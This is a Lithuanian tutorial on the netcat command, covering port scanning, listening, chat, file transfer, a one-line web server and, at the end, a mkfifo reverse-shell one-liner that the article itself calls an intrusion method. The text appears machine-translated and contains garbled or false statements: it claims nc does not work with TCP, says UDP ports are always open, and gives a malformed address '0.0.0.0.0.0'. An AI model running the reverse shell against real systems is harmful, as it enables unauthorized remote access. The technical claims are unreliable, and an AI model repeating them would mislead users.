Komanda netcat
reikalinga duomenims siųsti ir gauti naudojant TCP ir UDP protokolus. Ji neturi didelio funkcijų rinkinio, tačiau jos pakanka ryšiui tikrinti ir paprastam derinimui. Kaip palaikyti ryšį naudojant TCP protokolą? Šį klausimą užduoda daugelis naudotojų. Šiame straipsnyje į jį atsakysime, taip pat pateiksime realaus komandos taikymo pavyzdžių.
Komanda netcat
(arba nc
) yra galingas įrankis darbui su tinklo ryšiais. Ją dažnai naudoja sistemų administratoriai ir programuotojai įvairioms užduotims atlikti. Čia pateikiamos pagrindinės netcat
funkcijos ir ypatybės:
Netcat
yra universalus įrankis, kurį galima naudoti įvairiuose scenarijuose - nuo paprasto pranešimų siuntimo iki sudėtingų tinklo operacijų.
Pradėkime nuo sintaksės ir populiariausių iš jų:
-6
- naudoti IPv6 protokolą. Pagal numatytuosius nustatymus atitinkamai -4 ir IPv4;-h
- rodyti pagalbą su galimų parametrų sąrašu;-i
- delay - pridėkite delsą tarp eilučių siuntimo arba prievadų nuskaitymo. Jis nustatomas sekundėmis;-l
- klausymosi režimas. Naudojamas kartu su prievado specifikacija;-N
- uždaryti ryšį, kai siunčiant pasiekiamas failo galas;-n
- darbas su IP adresais tiesiogiai, be DNS, taip pat išjungiamas prievadų nuskaitymas;-P
- user_name - nurodykite vartotojo vardą, kuriuo jungiamasi prie tarpinio serverio;-x
- address:port - nurodykite adresą ir prievadą, kuriuo jungiamasi prie tarpinio serverio;-p
- prievadas - nurodykite prievado numerį. Daugeliu atvejų prievadas nuskaitomas nenurodant parametro;-U
- naudoti UNIX domeno lizdą (tarpprocesiniam ryšiui);-u
- naudoti UDP protokolą, pagal numatytuosius nustatymus naudojamas TCP protokolas;-v
- detalusis režimas. Naudojamas atliekant nuskaitymą;-W
number_packets - uždaro ryšį gavus tam tikrą paketų skaičių;-w
timer - įjungti laikmatį, kad būtų apribotas ryšio laikas. Jis nustatomas sekundėmis;-z
- išjungti duomenų siuntimą. Naudojamas nuskaitymo metu.Komanda turi tokią formą (parametrai prievado adresas):
$ nc
Toliau papasakosime, kaip naudoti šią komandą.
Tikrinimas yra pagrindinė netcat
naudojimo paskirtis. Turėtumėte naudoti du parametrus -vz
, nurodyti adresą ir prievadą. Galite nurodyti adresų intervalą, tačiau šiuo atveju geriau išsitirti tik atvirus prievadus naudojant komandągrep
. Nuskaitykime vietinio tinklo adreso prievadus:
$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded
Tokiu pat būdu nuskaitykime UDP prievadus pridėję parametrą -u
:
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
Turėtumėte žinoti pagrindinį skirtumą tarp TCP ir UDP. Taigi UDP prievadai visada yra prieinami.
Parametras -l
skirtas klausytis prievado. Dažnai jo pakanka, tačiau galite įjungti detalųjį režimą:
$ nc -nlv 8080
Atminkite, kad naudojant TCP protokolą prievadas turi būti laisvas, kitaip bus rodoma klaida Jau naudojamas. Ne visais prievadais gali naudotis paprasti naudotojai, pavyzdžiui, 80 prievadu (HTTP), greičiausiai jis bus užimtas kito proceso ir reikės supernaudotojo teisių.
Naudinga šios komandos galimybė yra keitimasis duomenimis. Paprastas pavyzdys - tekstinių pokalbių kambarys. Norėdami pradėti pokalbį viename kompiuteryje, paleiskite programą prievado klausymosi režimu:
$ nc -lp 8080
Kitame kompiuteryje reikės nurodyti pirmojo kompiuterio adresą ir tą patį prievadą. Taip pat nepamirškite patikrinti, ar prievadas yra atidarytas:
$ nc 0.0.0.0 8080
Taip galėsite siųsti ir gauti žinutes. Tai reiškia, kad komanda skirta keistis failais. Principas tas pats, tik išvestį reikia nukreipti į failą, būtent paste.txt:
$ nc -l 8080 > paste.txt
Kitame kompiuteryje kaip įvestis bus naudojamas failas copy.txt
. Ne be reikalo naudojamas parametras -N
, kad po failo perdavimo būtų uždarytas ryšys:
$ nc -N 0.0.0.0 8080 < copy.txt
Perduodant failą svarbu laikytis sekos, pirmiausia atidaryti klausymąsi ir tik tada siųsti failą. Komanda nc yra veikiantis, bet toli gražu ne pats geriausias failų perdavimo būdas. Šiai užduočiai atlikti yra efektyvesnių ir naudingesnių priemonių.
Kadangi NC komanda neveikia su TCP protokolu, ji leidžia ir siųsti, ir priimti HTTP užklausas. Vadinasi, programa gali tapti paprastu žiniatinklio serveriu. Taip, tokiu būdu negalėsite atlikti nieko sudėtingesnio nei tuščias puslapis, tačiau operacija beveik neužims laiko, o pliusas tas, kad nereikės diegti nieko papildomo.
Pavyzdyje pateiktoje formoje HTTP atsakymas su failu index.html.
Kalbant apie patį np, pravartu nustatyti laikmatį su parametru -w 1
, kad būtų nutrauktas ryšys, jei naršyklė to nepadarys:
$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done
Norėdami gauti duomenų iš svetainės, galite suformuoti užklausą ir nusiųsti ją į patariamą adresą ir prievadą. Tačiau šis būdas gana sudėtingas, geriau naudoti atitinkamą CURL komandą.
Remiantis anksčiau aptartais pavyzdžiais, nebus sunku padaryti išvadą, kad komanda leidžia organizuoti nuotolinę prieigą prie kompiuterio apvalkalo. Anksčiau NC programa turėjo keletą parametrų, kuriais buvo galima atidaryti prieigą prie terminalo. Parametras -e
jau seniai pašalintas iš šios programos, todėl paprastos prieigos prie terminalo nebebus. Pačios programos saugumas tapo didesnis, tačiau ji ir toliau gali veikti kartu su kitomis.
Parodykime prisijungimą naudojant pavadintą kanalą mkfifo. Pirmiausia pradėkime klausytis kompiuterio prievado, prie kurio gausime prieigą:
$ nc -lvnp 8080
Pereikime tiesiai prie terminalo atidarymo komandos. Pirmiausia ištrinkite senąjį pavadintą kanalą(rm /tmp/f
), jo vietoje sukurkite naują(mkfifo /tmp/f
), perskaitykite jo turinį(cat /tmp/f
) ir į jo išvestį nusiųskite apvalkalo komandą(sh -i 2>&1)
. Po to belieka paleisti nc su išvestimi į mūsų pavadintą kanalą(nc 0.0.0.0.0.0 8080 >/tmp/f
):
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f
Atminkite, kad tai vienas iš įsilaužimo būdų, tačiau jis gali būti naudingas, jei kyla problemų su ssh.
Norėdami užkirsti kelią išpuoliui, sukonfigūruokite saugumo politiką ir ugniasienę.